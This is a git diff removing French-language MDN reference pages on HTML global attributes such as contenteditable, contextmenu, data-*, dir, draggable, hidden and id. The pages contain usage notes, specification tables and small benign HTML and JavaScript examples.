{{SpecName('HTML4.01', "struct/global.html#h-7.5.2", "class")}}{{Spec2('HTML4.01')}}Cet attribut est pris en charge sur tous les éléments à l'exception de {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} et {{HTMLElement("title")}}.
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.class")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs_universels/contenteditable/index.html b/files/fr/web/html/attributs_universels/contenteditable/index.html deleted file mode 100644 index 1f805fc490..0000000000 --- a/files/fr/web/html/attributs_universels/contenteditable/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: contenteditable -slug: Web/HTML/Attributs_universels/contenteditable -tags: - - Attribut - - Attribut universel - - HTML - - Reference -translation_of: Web/HTML/Global_attributes/contenteditable ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut universel contenteditable est un attribut à valeur contrainte qui indique si l'élément courant doit pouvoir être édité par l'utilisateur ou non. Lorsque c'est le cas, des éléments de l'interface du navigateur (ou de l'agent utilisateur) sont modifiés afin de permettre l'édition.

- -
{{EmbedInteractiveExample("pages/tabbed/attribute-contenteditable.html","tabbed-shorter")}}
- - - -

Les valeurs autorisées pour cet attribut sont :

- -
    -
  • true ou la chaîne de caractères vide qui indiquent que l'élément est éditable
    • -
  • false qui indique que l'élément ne peut pas être édité.
    • -
- -

Si cet attribut n'est pas défini, sa valeur est héritée depuis son élément parent.

- -

Cet attribut n'est pas un attribut booléen ! Cela signifie qu'une valeur explicite est nécessaire pour son fonctionnement. Toute forme telle que <label contenteditable>Exemple</label> n'est pas autorisée. La version correcte sera <label contenteditable="true">Exemple</label>.

- -

Il est possible de modifier la couleur du symbole d'insertion grâce à la propriété CSS {{cssxref("caret-color")}}.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("HTML Editing", "contentEditable.html#contenteditable", "contenteditable")}}{{Spec2("HTML Editing")}}Ajout de "events", "caret", "typing", "plaintext-only".
{{SpecName("HTML WHATWG", "editing.html#attr-contenteditable", "contenteditable")}}{{Spec2("HTML WHATWG")}}Aucune modification depuis la dernière dérivation, {{SpecName("HTML5.2")}}
{{SpecName("HTML5.2", "editing.html#making-document-regions-editable-the-contenteditable-content-attribute", "contenteditable")}}{{Spec2("HTML5.2")}}Dérivation de {{SpecName("HTML WHATWG")}}, aucune modification depuis {{SpecName("HTML5.1")}}
{{SpecName("HTML5.1", "editing.html#making-document-regions-editable-the-contenteditable-content-attribute", "contenteditable")}}{{Spec2("HTML5.1")}}Dérivation de {{SpecName("HTML WHATWG")}}, aucune modification depuis {{SpecName("HTML5 W3C")}}
{{SpecName("HTML5 W3C", "editing.html#attr-contenteditable", "contenteditable")}}{{Spec2("HTML5 W3C")}}Dérivation de {{SpecName("HTML WHATWG")}}, définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.contenteditable")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs_universels/contextmenu/index.html b/files/fr/web/html/attributs_universels/contextmenu/index.html deleted file mode 100644 index 187be1f1cc..0000000000 --- a/files/fr/web/html/attributs_universels/contextmenu/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: contextmenu -slug: Web/HTML/Attributs_universels/contextmenu -tags: - - Attribut - - Attribut universel - - HTML - - Reference -translation_of: Web/HTML/Global_attributes/contextmenu ---- -
{{HTMLSidebar("Global_attributes")}}{{obsolete_header}}
- -
-

Attention ! Cet attribut est obsolète et sera retiré de l'ensemble des navigateurs.

-
- -

L'attribut universel contextmenu correspond à l'{{htmlattrxref("id","","identifiant",1)}} d'un élément {{HTMLElement("menu")}} qu'on souhaite utiliser comme menu contextuel pour l'élément courant.

- -

Un menu contextuel est un menu qui apparaît suite à une action utilisateur (par exemple un clic-droit). HTML5 permet désormais de personnaliser ce menu.

- -
-

Exemples

- -

Voici quelques exemples de personnalisations de menus. Le code HTML pourra être :

- -

HTML

- -
<body contextmenu="share">
-  <menu type="context" id="share">
-    <menu label="Partager">
-      <menuitem label="Twitter" onclick="shareViaTwitter()"></menuitem>
-      <menuitem label="Facebook" onclick="shareViaFacebook()"></menuitem>
-    </menu>
-  </menu>
-  <ol>
-    <li>
-      Dans cet exemple, vous pouvez partager un lien vers
-      cette page sur Facebook et/ou Twitter via le groupe Partager
-      du menu contextuel
-    </li>
-    <li>Sur cette ligne : on peut partager la page sur Twitter ou Facebook grâce au menu Partager du menu contextuel.</li>
-    <li><pre contextmenu="changeFont" id="fontSizing">Sur cette ligne : on peut changer la taille de la police en utilisant les options "Augmenter/Réduire la taille de la police" du menu contextuel</pre></li>
-    <menu type="context" id="changeFont">
-      <menuitem label="Augmenter la taille de la police" onclick="incFont()"></menuitem>
-      <menuitem label="Réduire la taille de la police" onclick="decFont()"></menuitem>
-    </menu>
-    <li contextmenu="ChangeImage" id="changeImage">Sur cette ligne : on peut  utiliser l'option "Changer l'image" du menu.</li><br />
-    <img src="https://developer.mozilla.org/media/img/promote/promobutton_mdn5.png" contextmenu="ChangeImage" id="promoButton" />
-    <menu type="context" id="ChangeImage">
-      <menuitem label="Changer l'image" onclick="changeImage()"></menuitem>
-    </menu>
-  </ol>
-</body>
-
- -

JavaScript

- -
function shareViaTwitter() {
-  window.open("https://twitter.com/intent/tweet?text=" +
-      "Je découvre ContextMenu avec MDN.");
-}
-
-function shareViaFacebook() {
-  window.open("https://facebook.com/sharer/sharer.php?u=" +
-      "https://developer.mozilla.org/fr/docs/Web/HTML/Attributs_universels/contextmenu");
-}
-function incFont(){
-  document.getElementById("fontSizing").style.fontSize="larger";
-}
-
-function decFont(){
-  document.getElementById("fontSizing").style.fontSize="smaller";
-}
-
-function changeImage(){
-  var j = Math.ceil((Math.random()*39)+1);
-  document.images[0].src="https://developer.mozilla.org/media/img/promote/promobutton_mdn" + j + ".png";
-}
- -

Résultat

- -
{{EmbedLiveSample("Exemples",600,500)}}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("HTML WHATWG", "obsolete.html#attr-contextmenu", "contextmenu")}}{{Spec2('HTML WHATWG')}}Rendu obsolète
{{SpecName('HTML5.1', "interactive-elements.html#context-menus", "contextmenu")}}{{Spec2('HTML5.1')}}Dérivation de {{SpecName('HTML WHATWG')}}, définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.contextmenu")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs_universels/data-_star_/index.html b/files/fr/web/html/attributs_universels/data-_star_/index.html deleted file mode 100644 index d8befa7a2f..0000000000 --- a/files/fr/web/html/attributs_universels/data-_star_/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: data-* -slug: Web/HTML/Attributs_universels/data-* -tags: - - Attribut - - Attribut universel - - HTML - - Reference -translation_of: Web/HTML/Global_attributes/data-* ---- -
{{HTMLSidebar("Global_attributes")}}
- -

Les attributs universels data-* forment une classe d'attributs, appelés attributs de données (data attributes). Ils permettent d'échanger des données propriétaire entre le HTML et la représentation du DOM, qu'on peut manipuler avec des scripts.

- -
{{EmbedInteractiveExample("pages/tabbed/attribute-data.html","tabbed-standard")}}
- - - -

De tels attributs sont disponibles via l'interface {{domxref("HTMLElement")}} de l'élément pour lequel l'attribut est utilisé. La propriété {{domxref("HTMLElement.dataset")}} permet d'accéder à l'attribut.
- Ici, l'astérisque (*) peut être remplacée par n'importe quel nom valide selon les règles appliquées aux noms XML et en respectant les contraintes suivantes :

- -
    -
  • Le nom ne peut pas commencer par xml, quelle que soit la casse utilisée pour les différentes lettres
    • -
  • Le nom ne doit pas contenir de point-virgule (U+003A)
    • -
  • Le nom ne doit pas contenir de lettres majuscules de l'alphabet latin (A à Z).
    • -
- -

La propriété {{domxref("HTMLElement.dataset")}} est un objet {{domxref("StringMap")}} et la valeur d'un attribut de donnée nommé data-test-valeur sera accessible via HTMLElement.dataset.testValeur car les tirets (U+002D) sont remplacés par la majuscule de la lettre suivante (CamelCase).

- -

Utilisation

- -

Lorsqu'on ajoute des attributs de données data-*, on peut utiliser les éléments HTML classiques afin d'en faire des objets complexes et puissants. Ainsi, un sprite d'un vaisseau spatial dans un jeu peut être modélisé via un élément {{HTMLElement("img")}} auquel on associe un attribut class et plusieurs attributs de données sous la forme data-*.

- -
<img class="spaceship cruiserX3" src="shipX3.png"
-     data-ship-id="324" data-weapons="laserI laserII"
-     data-x="414354" data-y="85160" data-z="31940"
-     onclick="spaceships[this.dataset.shipId].blasted()">
-</img>
-
- -

Pour un tutoriel plus avancé à propos des attributs de données HTML, lire l'article Manipuler les attributs de données.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes", "data-*")}}{{Spec2('HTML WHATWG')}}Pas de modification depuis la dernière dérivation, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes", "data-*")}}{{Spec2('HTML5.1')}}Dérivée de {{SpecName('HTML WHATWG')}}, pas de changement depuis {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes", "data-*")}}{{Spec2('HTML5 W3C')}}Dérivée de {{SpecName('HTML WHATWG')}}, définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.data_attributes")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs_universels/dir/index.html b/files/fr/web/html/attributs_universels/dir/index.html deleted file mode 100644 index 5cf187f35e..0000000000 --- a/files/fr/web/html/attributs_universels/dir/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: dir -slug: Web/HTML/Attributs_universels/dir -tags: - - Attribut - - Attribut universel - - HTML - - Reference -translation_of: Web/HTML/Global_attributes/dir ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut universel dir est un attribut à valeur contrainte qui indique la direction du texte contenu dans l'élément.

- -
{{EmbedInteractiveExample("pages/tabbed/attribute-dir.html","tabbed-standard")}}
- - - -

Les valeurs autorisées pour cet attribut sont :

- -
    -
  • ltr : qui signifie left to right (gauche à droite), utilisé pour les langages écrits de gauche à droite (comme le français ou l'anglais par exemple)
    • -
  • rtl : qui signifie right to left (droite à gauche), utilisé pour les langages écrits de droite à gauche (comme l'arabe par exemple)
    • -
  • auto : qui délègue la décision à l'agent utilisateur. L'algorithme utilisé est relativement simple : le contenu textuel est analysé et lorsque le premier caractère possédant une direction « forte » est rencontré, cette direction est prise pour l'ensemble de l'élément.
    • -
- -
-

Notes d'utilisation :
- Cet attribut est obligatoire pour l'élément {{HTMLElement("bdo")}}, pour lequel l'attribut a une sémantique différente.

- -
    -
  • -

    La valeur de l'attribut n'est pas héritée par l'élément {{HTMLElement("bdi")}}. S'il n'est pas défini, la valeur par défaut sera auto.

    -
    • -
  • -

    Cet attribut peut être surchargé par les propriétés CSS {{cssxref("direction")}} et {{cssxref("unicode-bidi")}}, (qui sont appliquées si une page CSS est active et que l'élément courant prend en charge ces propriétés).

    -
    • -
  • -

    La direction du texte est généralement liée à la sémantique du contenu et non à sa présentation. Il est donc recommandé d'utiliser cet attribut plutôt que des propriétés CSS quand la direction n'est pas lié à une quelconque mise en forme. Ainsi, le texte sera affiché correctement, y compris si le navigateur ne supporte pas ces propriétés CSS ou si CSS est désactivé.

    -
    • -
  • -

    La valeur auto doit être utilisée pour des données dont la direction est inconnue (comme par exemple des données provenant d'une saisie utilisateur).

    -
    • -
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "dom.html#the-dir-attribute", "dir")}}{{Spec2('HTML WHATWG')}}Aucun changement depuis la dernière dérivation, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#the-dir-attribute", "dir")}}{{Spec2('HTML5.1')}}Dérivée de {{SpecName('HTML WHATWG')}}, aucun changement de {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#the-dir-attribute", "dir")}}{{Spec2('HTML5 W3C')}}Dérivée de {{SpecName('HTML WHATWG')}}, à partir de {{SpecName('HTML4.01')}} la valeur auto a été ajoutée et l'attribut est un attribut global à part entière.
{{SpecName('HTML4.01', "dirlang.html#h-8.2", "dir")}}{{Spec2('HTML4.01')}}Attribut pris en charge pour tous les éléments à l'exception {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, et {{HTMLElement("script")}}.
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.dir")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs_universels/draggable/index.html b/files/fr/web/html/attributs_universels/draggable/index.html deleted file mode 100644 index fe5d5cf514..0000000000 --- a/files/fr/web/html/attributs_universels/draggable/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: draggable -slug: Web/HTML/Attributs_universels/draggable -tags: - - Attribut - - Attribut universel - - HTML - - Reference -translation_of: Web/HTML/Global_attributes/draggable ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut universel draggable est un attribut à valeur contrainte qui indique si l'élément peut être déplacé avec la souris dans un geste de glisser-déposer lorsqu'on utilise l'API Drag & Drop ou les fonctionnalités natives du navigateur. Les valeurs autorisées pour cet attribut sont les suivantes :

- -
    -
  • true : qui indique que l'élément peut être déplacé à la souris
    • -
  • false : qui indique que l'élément ne peut pas être déplacé à la souris
    • -
- -

Si l'attribut n'est pas défini, la valeur par défaut sera auto : le comportement de l'élément sera celui spécifié par défaut par le navigateur.

- -

Cet attribut est un attribut à valeur contrainte, ce n'est pas un attribut booléen. Il faut donc utiliser une valeur explicite true ou false. La notation raccourcie <img draggable>(utilisant uniquement le nom de l'attribut) ne fonctionnera pas :

- -
<label draggable>Label exemple</label>
- -

En revanche, on pourra correctement utiliser :

- -
<label draggable="true">Label exemple</label>
- -

Par défaut, seules les sélections de texte, les images et les liens peuvent être déplacés à la souris. Pour les autres éléments, il faudra définir le gestionnaire d'événements pour {{domxref('GlobalEventHandlers.ondragstart','ondragstart')}} afin de faire fonctionner le glisser-déposer. Cela est illustré dans cet exemple.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("HTML WHATWG", "interaction.html#the-draggable-attribute", "draggable")}}{{Spec2("HTML WHATWG")}}Aucune modification depuis la dernière dérivation de {{SpecName('HTML5.1')}}
{{SpecName("HTML5.2", "interaction.html#the-draggable-attribute", "draggable")}}{{Spec2("HTML5.2")}}Aucune modification
{{SpecName("HTML5.1", "editing.html#the-draggable-attribute", "draggable")}}{{Spec2("HTML5.1")}}Dérivation de {{SpecName('HTML WHATWG')}}, définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.draggable")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs_universels/dropzone/index.html b/files/fr/web/html/attributs_universels/dropzone/index.html deleted file mode 100644 index e645e30973..0000000000 --- a/files/fr/web/html/attributs_universels/dropzone/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: dropzone -slug: Web/HTML/Attributs_universels/dropzone -tags: - - Attribut universel - - HTML - - Obsolete - - Reference -translation_of: Web/HTML/Global_attributes/dropzone ---- -
{{HTMLSidebar("Global_attributes")}} {{deprecated_header}}
- -

L'attribut universel dropzone est un attribut à valeur contrainte qui indique le type de contenu qui peut être déposé sur un élément, il est utilisé avec l'API Drag & Drop. Les valeurs autorisées pour cet attribut sont :

- -
    -
  • copy qui indique que déposer un élément glissé créera une copie de celui-ci
    • -
  • move qui indique qu'un élément qui a été glissé sera déplacé vers son nouvel emplacement
    • -
  • link qui crée un lien vers les données déplacées
    • -
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML5.1', "editing.html#the-dropzone-attribute", "dropzone")}}{{Spec2('HTML5.1')}}Dérivée de {{SpecName('HTML WHATWG')}}, définition initiale
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.dropzone")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs_universels/hidden/index.html b/files/fr/web/html/attributs_universels/hidden/index.html deleted file mode 100644 index c14d208620..0000000000 --- a/files/fr/web/html/attributs_universels/hidden/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: hidden -slug: Web/HTML/Attributs_universels/hidden -tags: - - Attribut - - Attribut universel - - HTML - - Reference -translation_of: Web/HTML/Global_attributes/hidden ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut universel hidden est un attribut booléen qui indique s'il n'est pas encore ou s'il n'est plus pertinent d'afficher l'élément courant. Cet attribut peut, par exemple, être utilisé afin de masquer des éléments tant que l'utilisateur ne s'est pas connecté. Le navigateur n'affichera pas les éléments masqués via cet attribut.

- -
{{EmbedInteractiveExample("pages/tabbed/attribute-hidden.html","tabbed-shorter")}}
- - - -

Cet attribut ne doit pas être utilisé pour masquer du contenu qui devrait pouvoir être vu sous une autre présentation. Si un contenu est marqué comme masqué, il sera masqué pour l'ensemble des présentations, y compris pour les lecteurs d'écran et autres outils d'assistance.

- -

Les éléments cachés avec hidden ne devraient pas avoir de lien qui pointent vers eux depuis des éléments visibles. De plus, les éléments fils de l'élément caché sont toujours actifs : cela signifie qu'ils peuvent être utilisés par les scripts et que les formulaires peuvent envoyer des données. Dans certains autres contextes, il est possible d'avoir des relations avec les éléments cachés via hidden.

- -

Par exemple, on peut utiliser l'attribut ARIA aria-describedby pour faire référence à une description qui serait cachée (si cette dernière n'est pas pertinente seule). De même un élément {{HTMLElement("canvas")}} caché peut être utilisé comme un buffer hors champ par moteur graphique scripté.

- -
-

Note : Cet attribut sera surchargé par la propriété CSS {{cssxref("display")}}. Ainsi, un élément dont le style a display: flex sera affiché à l'écran, même si l'attribut hidden est présent.

-
- - - -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "interaction.html#the-hidden-attribute", "hidden")}}{{Spec2('HTML WHATWG')}}Aucune modification depuis {{SpecName('HTML5.1')}}
{{SpecName('HTML WHATWG', "rendering.html#hiddenCSS", "Hidden elements")}}{{Spec2('HTML WHATWG')}}Définit le rendu par défaut suggéré en CSS lorsque l'attribut hidden est utilisé.
{{SpecName('HTML5.1', "editing.html#the-hidden-attribute", "hidden")}}{{Spec2('HTML5.1')}}Dérivée de {{SpecName('HTML WHATWG')}}. La définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.hidden")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs_universels/id/index.html b/files/fr/web/html/attributs_universels/id/index.html deleted file mode 100644 index a08d5e0dce..0000000000 --- a/files/fr/web/html/attributs_universels/id/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: id -slug: Web/HTML/Attributs_universels/id -tags: - - Attribut - - Attribut universel - - HTML - - Reference -translation_of: Web/HTML/Global_attributes/id ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut universel id définit un identifiant qui doit être unique pour l'ensemble du document. Le but de cet attribut est de pouvoir identifier un élément lorsqu'on crée un lien, avec un fragment et qu'on souhaite le manipuler avec un script ou qu'on le met en forme avec CSS.

- -
{{EmbedInteractiveExample("pages/tabbed/attribute-id.html","tabbed-shorter")}}
- - - -
-

Note : La valeur de cet attribut est une chaîne de caractère « opaque ». Cela signifie que cet attribut ne doit pas être utilisé pour transporter de l'information. Les informations sur la signification de l'élément dans le document ne doivent pas être portées par la valeur de cet attribut.

-
- -

La valeur de cet attribut ne doit pas contenir de blancs (espaces, tabulation, etc.). Les navigateurs interprèteront les identifiants avec des espaces comme si l'espace faisait partie de l'identifiant. Ce comportement est différent de celui de l'attribut {{htmlattrxref("class")}} qui permet d'avoir des valeurs séparées par des espaces. Les éléments ne peuvent avoir qu'un seul identifiant défini via l'attribut id.

- -
-

Note : L'utilisation de caractères non-ASCII ou qui ne sont pas des chiffres latins ou'_', '-' et '.' peut entraîner des problèmes de compatibilité car ils n'étaient pas autorisé avec HTML 4. Bien que cette restriction n'existe plus avec HTML 5, un identifiant devrait toujours commencer par une lettre pour une meilleure compatibilité.

-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "dom.html#the-id-attribute", "id")}}{{Spec2('HTML WHATWG')}}Aucun changement depuis la dernière dérivation, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#the-id-attribute", "id")}}{{Spec2('HTML5.1')}}Dérivée de {{SpecName('HTML WHATWG')}}, aucun changement depuis {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#the-id-attribute", "id")}}{{Spec2('HTML5 W3C')}}Dérivée de {{SpecName('HTML WHATWG')}}, les caractères '_', '-' et '.' sont désormais acceptés s'ils ne sont pas utilisés au début de l'identifiant. Cet attribut devient un attribut global à part entière.
{{SpecName('HTML4.01', 'struct/global.html#adef-id', 'id')}}{{Spec2('HTML4.01')}}Pris en charge par tous les éléments sauf {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, et {{HTMLElement("title")}}.
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.id")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs_universels/index.html b/files/fr/web/html/attributs_universels/index.html deleted file mode 100644 index 779e617a3d..0000000000 --- a/files/fr/web/html/attributs_universels/index.html +++ /dev/null @@ -1,196 +0,0 @@ ---- -title: Les attributs universels -slug: Web/HTML/Attributs_universels -tags: - - Attribut - - Attribut universel - - HTML - - Reference - - Web -translation_of: Web/HTML/Global_attributes ---- -
{{HTMLSidebar("Global_attributes")}}
- -

Les attributs universels sont des attributs communs à l'ensemble des éléments HTML. Ces attributs peuvent donc être ajoutés sur tous les éléments (dans certains cas, les attributs n'auront aucun effet).

- -

Les attributs universels peuvent être définis sur tous les éléments HTML, y compris pour les éléments non définis dans le standard. Autrement dit, les éléments non-standards doivent pouvoir accepter ces attributs. Cela permettra au navigateur de les gérer selon certains des aspects de la spécification. Par exemple, pour un navigateur conforme, un élément <toto hidden>...</toto> sera masqué bien que <toto> ne soit pas un élément HTML valide.

- -

En plus des attributs universels HTML, il existe également les attributs universels suivants :

- -
    -
  • {{htmlattrdef("xml:lang")}} et {{htmlattrdef("xml:base")}} : ces attributs proviennent des spécifications XHTML. Ils sont désormais dépréciés mais conservés pour des raisons de compatibilité.
    • -
  • Les nombreux attributs aria-* utilisés afin d'améliorer l'accessibilité.
    • -
  • Les attributs utilisés pour les gestionnaires d'événements déclarés directement sur les éléments : onabort, onautocomplete, onautocompleteerror, onblur, oncancel, oncanplay, oncanplaythrough, onchange, onclick, onclose, oncontextmenu, oncuechange, ondblclick, ondrag, ondragend, ondragenter, ondragexit, ondragleave, ondragover, ondragstart, ondrop, ondurationchange, onemptied, onended, onerror, onfocus, oninput, oninvalid, onkeydown, onkeypress, onkeyup, onload, onloadeddata, onloadedmetadata, onloadstart, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onpause, onplay, onplaying, onprogress, onratechange, onreset, onresize, onscroll, onseeked, onseeking, onselect, onshow, onsort, onstalled, onsubmit, onsuspend, ontimeupdate, ontoggle, onvolumechange, onwaiting.
    • -
- -

Liste des attributs universels

- -
-
{{htmlattrdef("accesskey")}}
-
Cet attribut fournit une indication permettant de générer un raccourci clavier pour l'élément courant. Cet attribut se compose d'une liste de caractères séparés par des espaces. Le navigateur doit utiliser le premier caractère qui existe selon la disposition du clavier utilisée.
-
{{htmlattrdef("autocapitalize")}}
-
Cet attribut contrôle la façon dont le texte saisi est automatiquement converti en majuscules. Les valeurs autorisées pour cet attribut sont : -
    -
  • off ou none : il n'y pas de convertion en majuscules réalisée.
    • -
  • on ou sentences : la première lettre de chaque phrase est écrite en majuscule par défaut. Les autres lettres sont en minuscules par défaut.
    • -
  • words : la première lettre de chaque mot est écrite en majuscule par défaut, les autres lettres sont en minuscules par défaut.
    • -
  • characters : toutes les lettres sont écrites en majuscules par défaut
    • -
-
-
{{htmlattrdef("class")}}
-
Une liste de classes, séparées par des espaces, qui permettent de catégoriser l'élément. Les classes permettent au CSS et à JavaScript de manipuler des éléments spécifiques grâce à des sélecteurs de classe (pour CSS) ou grâce à des fonctions telles que {{domxref("Document.getElementsByClassName()")}} (pour JavaScript).
-
{{htmlattrdef("contenteditable")}}
-
Un attribut à valeur contrainte qui indique si l'élément peut être édité par l'utilisateur. Si c'est le cas, le navigateur modifie l'interface utilisateur afin de permettre l'édition. Les valeur autorisées pour cet attribut sont : -
    -
  • true ou la chaîne vide : ces valeurs indiquent que l'élément doit pouvoir être édité
    • -
  • false qui indique que l'élément ne doit pas pouvoir être édité.
    • -
-
-
{{htmlattrdef("contextmenu")}}{{obsolete_inline}}
-
La valeur de cet attribut correspond à la valeur de l'attribut {{htmlattrxref("id","menu")}} d'un élément {{HTMLElement("menu")}} qui doit être utilisé comme menu contextuel par cet élément.
-
{{htmlattrdef("data-*")}}
-
Cette classe d'attribut, appelée « attributs de données personnalisés », permet d'échanger des informations dans un format propriétaire entre le HTML et le DOM afin de pouvoir les manipuler via des langage de scripts. La propriété {{domxref("HTMLElement.dataset")}} permet d'accéder à l'ensemble des attribut définis de cette façon.
-
{{htmlattrdef("dir")}}
-
Un attribut à valeur contrainte qui indique la directionnalité du texte de l'élément. Les valeurs autorisées pour cet attribut sont : -
    -
  • ltr (l'abbréviation anglaise pour Left To Right) indique que le contenu est écrit de gauche à droite (comme le français par exemple)
    • -
  • rtl (l'abbréviation anglaise pour Right To Left) indique que le contenu est écrit de droite à gauche (comme l'arabe par exemple)
    • -
  • auto : c'est l'agent utilisateur qui décide. Il utilise un algortihme qui analyse les caractères du contenu de l'élément jusqu'à trouver un caractère avec une forte directionnalité qu'il applique alors à l'ensemble de l'élément.
    • -
-
-
{{htmlattrdef("draggable")}}
-
Un attribut à valeur contrainte qui indique qu'un élément peut être glissé/déposé grâce à l'API Drag & Drop. Les valeurs autorisées pour cet attribut sont : -
    -
  • true : l'élément peut être glissé/déposé
    • -
  • false : l'élément ne peut pas être glissé/déposé.
    • -
-
-
{{htmlattrdef("dropzone")}} {{experimental_inline}}
-
Un attribut à valeur contrainte qui indique le type de contenu qui peut être déposé sur un élément grâce à l'API Drag & Drop. Les valeurs autorisées pour cet attribut sont : -
    -
  • copy : lorsque l'élément est déposé, une copie de l'élément est créée
    • -
  • move : lorsque l'élément est déposé, il est déplacé vers ce nouvel emplacement
    • -
  • link : un lien est créé vers les données qui sont déplacée.
    • -
-
-
{{htmlattrdef("exportparts")}} {{experimental_inline}}
-
Utilisé pour exporter de façon transitive certaines parties d'un arbre shadow sur un arbre réel.
-
{{htmlattrdef("hidden")}}
-
Un attribut booléen dont la valeur indique que l'élément n'est pas encore, ou n'est plus pertinent. Cet attribut peut ainsi être utilisé pour masquer les éléments d'une page qui ne peuvent pas être utilisés tant que la procédure de connexion n'est pas terminée. Le navigateur n'affichera pas les éléments pour lesquels cet attribut est utilisé. Cet attribut ne doit pas être utilisé afin de masquer du contenu qui aurait pu être affiché de façon pertinente.
-
{{htmlattrdef("id")}}
-
Cet attribut définit un identifiant, unique au sein de tout le document, ,pour un élément. Il doit permettre d'identifier un élément lorsqu'on crée un lien vers lui et/ou lorsque le manipule avec des scripts ou avec CSS.
-
{{htmlattrdef("inputmode")}}
-
Cet attribut fournit une indication au navigateur quant au type de contenu qui sera saisi dans le champ et qui aide à déterminer la configuration du clavier virtuel qui peut être affiché pour la saisie. Ce type est principalement utilisé pour les éléments {{HTMLElement("input")}} mais peut tout à fait être utilisé sur n'importe quel élément avec le mode {{htmlattrxref("contenteditable")}}.
-
{{htmlattrdef("is")}}
-
Cet attribut indique qu'un élément HTML standard devrait se comporter comme un élément personnalisé natif (voir Manipuler les custom elements pour plus d'informations).
-
{{htmlattrdef("itemid")}}
-
L'identifiant unique, global, d'un objet. Cet attribut est lié aux microdonnées.
-
{{htmlattrdef("itemprop")}}
-
Cet attribut permet d'ajouter des propriétés à un objet. Cet attribut est une paire entre un nom et une valeur. Cet attribut est lié aux microdonnées.
-
{{htmlattrdef("itemref")}}
-
Les propriétés d'un objet qui ne sont pas les éléments descendants de l'élément courant peuvent être associée via l'attribut itemscope contenant une référence vers un itemref. itemref fournit une liste d'identifiants d'éléments qui correspondent aux propriétés supplémentaires définies autre part dans le document. Cet attribut est lié aux microdonnées.
-
{{htmlattrdef("itemscope")}}
-
itemscope fonctionne généralement avec itemtype afin d'indiquer que le coded HTML contenu dans un bloc donné concerne un objet en particulier. itemscope crée l'objet et définit la portée de l'itemtype associée. itemtype est une URL valide construite à partir d'un vocabulaire (par exemple schema.org) qui décrit les objets et leurs propriétés. Cet attribut est lié aux microdonnées.
-
{{htmlattrdef("itemtype")}}
-
Cet attribut indique l'URL du vocabulaire utilisé pour définir les propriétés d'un objet. Cet attribut est lié aux microdonnées.
-
{{htmlattrdef("lang")}}
-
